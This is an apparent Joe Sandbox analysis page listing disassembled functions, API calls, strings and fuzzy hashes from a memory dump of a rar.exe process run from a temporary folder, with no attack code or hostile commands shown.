Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction ID: 7da631ef9c0eda57cd25a24bc4d276525446e47972a11f7d0172352d10deb42c
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: E8110976E186428AE6748F15A48827C72E1FF84F48F6050F5CB0ADB695DF2DB88B8705

Function 00007FF69A445630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF69A43F3FC,?,?,?,00007FF69A44143D), ref: 00007FF69A44563A
SetLastError.KERNEL32(?,?,?,00007FF69A43F3FC,?,?,?,00007FF69A44143D), ref: 00007FF69A4456A2
SetLastError.KERNEL32(?,?,?,00007FF69A43F3FC,?,?,?,00007FF69A44143D), ref: 00007FF69A4456B8
abort.LIBCMT ref: 00007FF69A4456BE

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction ID: c2e00364cbf1269bcef079302adeb314a1347c564133c569eac0ef1141178af5
Opcode Fuzzy Hash: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction Fuzzy Hash: B2011024B0964247FE78AB31A65623871D1CF88F80F1405F8E91E87BD6EE2CF8418741

Function 00007FF69A4458A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A445908

Strings

gfffffff, xrefs: 00007FF69A445B96

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: defbfff4334c5e4c968b05ea87e18f75bcda18de360283a74e6f4b1aae6cacf6
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: F391F462B097CA46EF258F2591803A87BE5EB65FD0F0481B1CB9D877D5DE2CE915C302

Function 00007FF69A41CFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A42B6D0: Sleep.KERNEL32(?,?,?,?,00007FF69A3FCBED,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A42B730

new.LIBCMT ref: 00007FF69A41CFD9

Strings

rev, xrefs: 00007FF69A41D00F
rar, xrefs: 00007FF69A41D074

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: b4a3dbcb548f429c64c95219bff2b126912035a4d4646d0106d3222159d6f56a
Instruction ID: 273ebe96543b26183070cff0f3cb2039700ed795ac4287f0dffc9339640f2a23
Opcode Fuzzy Hash: b4a3dbcb548f429c64c95219bff2b126912035a4d4646d0106d3222159d6f56a
Instruction Fuzzy Hash: 00A1BCA2A0869286EB30DB20C9542BD73E5FF65F88F5540F1DA5D876D6EF2CE550C340

Function 00007FF69A43F7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A43F7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A43FA3C

Strings

*, xrefs: 00007FF69A43F90C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: 40399556b451f82d3c5b9c59db70c47042dbe914399942284e0609630c7a8df5
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: 5E717F7291861286E7788F298A4103D3BE0FF55F48F2411F6DA8BCA398DF79E881D751

Function 00007FF69A445CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A445D17

Strings

e+000, xrefs: 00007FF69A445DBF
gfff, xrefs: 00007FF69A445E42

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: 1bf658c63cf1d67e94cbd417a96369247f26fc211349306fa000269652b67ecf
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: 5C51F3A2B187C246EB758F3599413697AD1EB41F90F08D2F1C6ACCBBD6DE2CD8448701

Function 00007FF69A414534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF69A40475B,?,00000000,?,?,00007FF69A404620,?,00000000,?), ref: 00007FF69A414633

Strings

\\?\, xrefs: 00007FF69A4145B6, 00007FF69A414602, 00007FF69A414684, 00007FF69A4146D3
UNC, xrefs: 00007FF69A414614

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 8391c5fe64298be948dd1a5676af78d92d5e5b79ad76dde327ac0425399df735
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction Fuzzy Hash: 6741C491A0868240E930AB52E5111B933D1EF66FD8F8185F1DEADC76D6EE3CE555C340

Function 00007FF69A443B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A443B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF69A43B066), ref: 00007FF69A443B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe, xrefs: 00007FF69A443B45

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe
API String ID: 3307058713-1550257945
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: 4bb1d4bee5f31322b5c228cbd4b06291f76daa189055d991265b264acac2f159
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: 1C418A36A08B9286EB74DF25A8410B8B7E4EB44F94B5640F5ED0E87B95DF3CE4818740

Function 00007FF69A427C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF69A427471), ref: 00007FF69A427C96
wcsstr.LIBVCRUNTIME ref: 00007FF69A427CBC

Strings

System Volume Information\, xrefs: 00007FF69A427CB2

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: 07edeb23e637ca47ba12f4f1941c129c2ec3ad434bddbe0f7ed4ed9b171efea9
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: 7331CD22A2968185FB759F22A1516BA7BE0EF85FC0F0450F0EE8DC7796DE3DE4528701

Function 00007FF69A3F4888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3F48F8

Part of subcall function 00007FF69A4249F4: LoadStringW.USER32 ref: 00007FF69A424A7B
Part of subcall function 00007FF69A4249F4: LoadStringW.USER32 ref: 00007FF69A424A94

Part of subcall function 00007FF69A3F8444: fflush.LIBCMT ref: 00007FF69A3F8477

Strings

%d.%02d, xrefs: 00007FF69A3F48DE
[, xrefs: 00007FF69A3F48E5

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: 4d9849f0f842d8496c0d83309e9e0907590691e8a7f7ef5c4f56217b1321eff8
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: EA316821A19A8241FA74EB25E0157BA32D0EF85B84F4450FDEA8DCB68ADF6CE545C740

Function 00007FF69A423C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A423CB0

Strings

$%s, xrefs: 00007FF69A423C9D
@%s, xrefs: 00007FF69A423C94

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: fdaf9d150c470aaa39003d7b0de10d76ded13fede4c2f685b35d870381224111
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: ED319F62A18A8295EA209F56E4407B973F0FB84F98F4110F2EE4DD7B59DE3DE506DB00

Function 00007FF69A41F474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A41F4D2

Strings

fixed%u., xrefs: 00007FF69A41F4C6
fixed., xrefs: 00007FF69A41F4B8

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: fe788b8045314bd37d9fe0bb17ca147f3de5df626f49b8d7224f5c08c4dfb60a
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: 2731B762A0868151EB30DB25E4013F973E0FB55B94F9042B2EE9D9769ADF3CE506C700

Function 00007FF69A4249F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF69A424A7B
LoadStringW.USER32 ref: 00007FF69A424A94

Strings

Adding %-58s , xrefs: 00007FF69A424A16

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: LoadString
String ID: Adding %-58s
API String ID: 2948472770-2059140559
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: 4b5aaa23cd0cf8d9b09d8c3cd6d500338a647848538bdb7f2bc837d1e5c65437
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: FE116671B18B8185EA208F56E840068B7E1FB98FC4F5485BACE0CC3324EE7CE6428348

Function 00007FF69A3E5DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3E5E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3E5E2F

Strings

;%%0%du, xrefs: 00007FF69A3E5E0A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
